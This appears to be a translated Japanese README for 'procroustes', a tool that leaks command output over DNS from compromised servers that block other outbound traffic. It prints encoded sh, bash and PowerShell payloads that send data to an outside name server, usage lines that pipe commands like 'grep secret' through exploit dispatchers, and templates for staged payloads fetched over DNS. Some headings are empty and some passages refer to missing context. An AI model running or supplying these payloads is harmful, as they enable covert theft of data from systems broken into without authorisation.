
DNS以外の全アウトバウンド接続がブロックされたサーバーでブラインドコマンド実行が可能な場合に、データをDNS経由で外部に自動的に流出させるbashスクリプトです。現在、sh、bash、PowerShellをサポートし、exec形式のコマンド実行(例:java.lang.Runtime.exec)と互換性があります。
非ステージング:
ステージング:
動作のため、このスクリプトはターゲットサーバーで実行したいコマンドを入力として受け取り、出力がDNS経由で流出できるようターゲットシェルに応じて変換します。コマンドが変換された後、それは「ディスパッチャー」に渡されます。ディスパッチャーはユーザーが提供するプログラムで、コマンドを入力として受け取り、何らかの手段(脆弱性の悪用など)でターゲットサーバー上でそれを実行する役割を担います。コマンドがターゲットサーバーで実行されると、データのチャンクを含むDNSリクエストが私たちのDNSネームサーバーにトリガーされることが期待されます。スクリプトは、ユーザーが指定したコマンドの出力が完全に流出するまで、それらのリクエストを待ち受けます。
以下は、コマンドlsの流出のために生成された、サポートされているコマンド変換です。
sh:
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=
bash:
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash
powershell:
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
./procroustes_chunked.sh --help
簡単に言うと、DNS経由で送信できるようにデータを4つのチャンクに分割する必要があると仮定します。
これらの違いの一部は、bash用のテンプレートコマンドでも示されています。
procroustes_chunked/bash:
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%
procroustes_full/bash:
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%
procroustes_full/bash/staged:
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash
[1] ステージング版では、コマンドはDNS経由でダウンロードされるため、記載されているサイズが総ペイロードサイズでもあります。
[2] procroustes_chunkedでは、ディスパッチャーが複数回呼び出され、それに伴いサーバー上で実行される指定コマンドも(出力がすべて流出するまで)複数回呼び出されます。この動作は、コマンドのサーバーへの配信(ディスパッチャーの呼び出し)に時間やリソースがかかる場合には理想的ではありません。
また、サーバー上で実行するコマンドが(機能や出力の面で)冪等でない場合(例:"ls;rm file")や、時間やリソースを大量に消費する場合(例:find / -name secret)には問題が生じる可能性があります。この場合の回避策は、まずコマンド出力をファイル(例:/tmp/file)に保存し、その後スクリプトを使用してそのファイルを読み込むことです。
[3] ステージング版では、実際のペイロードをDNS経由で取得するために必要な時間のオーバーヘッドがあります。スクリプトはAレコードを使用して実際のペイロードを取得することに注意してください。これにより、トラフィックがターゲット環境の通常のトラフィックに溶け込みやすくなりますが、チャネル容量は限られます(例:リクエストあたり4バイト)。TXTのような他のレコードタイプを使用して、ステージダウンロード時間を最小限(ほぼゼロ)にし、ステージャーサイズを縮小することも可能です。
| procroustes_chunked | procroustes_full | procroustes_full_staged |
|---|
| ペイロードサイズのオーバーヘッド (bash/powershell) | 150*NLABELS/500*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] |
| ディスパッチャー呼び出し回数 | #出力/(LABEL_SIZE*NLABELS)[2] | 1 | 1 |
| 速度 (bash/powershell) | ✔/✔ | ✔/✔ | ✓/✓[3] |
| 設定の難易度 | 簡単 | 簡単+ | 中程度 |